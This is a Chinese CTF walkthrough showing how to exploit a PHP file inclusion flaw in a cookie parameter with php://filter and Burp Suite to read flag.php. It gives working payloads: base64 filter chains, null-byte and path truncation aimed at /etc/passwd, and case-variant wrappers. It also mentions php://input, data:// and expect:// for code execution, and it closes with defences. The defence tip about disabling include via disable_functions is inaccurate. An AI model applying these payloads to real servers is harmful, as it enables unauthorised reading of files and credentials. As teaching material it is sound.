CTF实战:如何用PHP伪协议绕过文件包含漏洞读取flag.php(附Burp Suite操作截图)

发布时间:2026/5/23 4:40:29

CTF实战:如何用PHP伪协议绕过文件包含漏洞读取flag.php(附Burp Suite操作截图) CTF实战PHP伪协议与Burp Suite组合拳破解文件包含漏洞在CTF竞赛和Web安全测试中文件包含漏洞LFI是最常见的漏洞类型之一。这类漏洞往往由于开发者对用户输入参数过滤不严导致攻击者可以包含服务器上的任意文件。本文将从一个真实的CTF题目出发手把手教你如何利用PHP伪协议配合Burp Suite工具一步步读取flag.php文件内容。1. 漏洞环境搭建与初步分析首先我们需要理解题目提供的环境。访问目标网站时页面显示以下关键信息Hi,EveryOne,The flag is in flag.php Notice: Undefined index: language in /var/www/html/index.php on line 9这段信息透露了两个重要线索目标flag存储在flag.php文件中网站存在一个未定义的language变量且网站根目录为/var/www/html/查看页面源代码我们发现关键的PHP代码段$lan $_COOKIE[language]; if(!$lan) { setcookie(language,english); include(english.php); } else { include($lan..php); }漏洞点分析代码直接使用$_COOKIE[language]作为文件包含参数未对用户输入的language参数进行任何过滤自动添加.php后缀但我们可以通过伪协议绕过这个限制提示在实际CTF比赛中这类信息泄露往往能大大降低解题难度因此要养成仔细查看页面源码和错误信息的习惯。2. PHP伪协议深度解析PHP提供了多种伪协议Wrapper可以让我们以特殊方式处理文件流。在文件包含漏洞利用中最常用的是php://filter协议。2.1 php://filter协议工作原理php://filter允许我们在文件内容被读取或写入时应用各种过滤器。基本语法结构为php://filter/[过滤器链]/resource[文件路径]常用过滤器包括convert.base64-encode将文件内容Base64编码convert.base64-decodeBase64解码string.rot13ROT13编码string.toupper/string.tolower大小写转换2.2 为什么需要Base64编码当我们尝试直接包含flag.php时PHP会执行其中的代码而非显示源码。如果flag.php内容如下?php echo FLAG{THIS_IS_THE_FLAG}; ?直接包含只会执行echo语句而我们需要的是查看文件原始内容。Base64编码可以避免PHP代码被执行确保特殊字符不会破坏响应结构方便传输二进制文件内容3. 实战操作Burp Suite拦截与利用现在我们将使用Burp Suite工具实际利用这个漏洞。以下是详细步骤3.1 配置Burp Suite代理启动Burp Suite确保Proxy拦截功能开启配置浏览器使用Burp作为代理通常为127.0.0.1:8080访问目标网站在Burp中捕获请求3.2 构造恶意请求捕获到的原始请求可能如下GET / HTTP/1.1 Host: target.com Cookie: languageenglish ...我们需要修改Cookie中的language参数使用伪协议构造payloadlanguagephp://filter/convert.base64-encode/resource/var/www/html/flag.php3.3 发送请求并分析响应发送修改后的请求服务器响应会包含flag.php的Base64编码内容。在响应中查找类似这样的字符串PD9waHAgZWNobyAnRkxBR3s0M19XNTNfRDNfUjM1X0YwUn0nOyA/Pg使用Burp Suite的Decoder模块或在线工具解码这个Base64字符串echo PD9waHAgZWNobyAnRkxBR3s0M19XNTNfRDNfUjM1X0YwUn0nOyA/Pg | base64 -d解码后将得到flag.php的原始内容?php echo FLAG{43_W53_D3_R35_F0R}; ?4. 进阶技巧与防御方案4.1 其他有用的伪协议除了php://filter还有几个值得了解的伪协议协议用途示例php://input读取POST原始数据可执行任意PHP代码data://数据流封装类似php://input但更灵活expect://执行系统命令需要特定配置4.2 防御文件包含漏洞作为开发者应该采取以下措施防止这类攻击白名单验证只允许包含预定义的文件$allowed [english, chinese]; if(in_array($lan, $allowed)) { include($lan..php); }路径固定避免用户控制完整路径include(./lang/.$lan..php);禁用危险函数在php.ini中设置disable_functions include,require,include_once,require_once关闭错误显示避免路径信息泄露ini_set(display_errors, 0);5. CTF实战中的变种与应对在实际CTF比赛中文件包含题目往往会有各种变种限制。以下是几种常见情况及其解决方案5.1 后缀固定无法绕过如果代码强制添加.php后缀include($lan..php);可以尝试使用空字节截断PHP5.3language/etc/passwd%00或路径长度截断language/var/www/html/flag.php/./././././././././././.5.2 文件内容被处理如果包含的文件内容会被处理可以尝试双重编码languagephp://filter/convert.base64-encode/convert.base64-encode/resourceflag5.3 有限字符集当只能使用特定字符时可以利用PHP的字符串转换特性languagepHp://FilTer/convert.base64-encode/resourceflag在真实渗透测试中遇到文件包含漏洞时除了读取源码还可以尝试查看服务器配置文件读取日志文件获取敏感信息结合文件上传漏洞获取shell掌握这些技巧后你会发现文件包含漏洞就像一把瑞士军刀能够在各种场景下发挥意想不到的作用。记得在实际测试中要遵守法律法规只在授权范围内进行操作。

相关新闻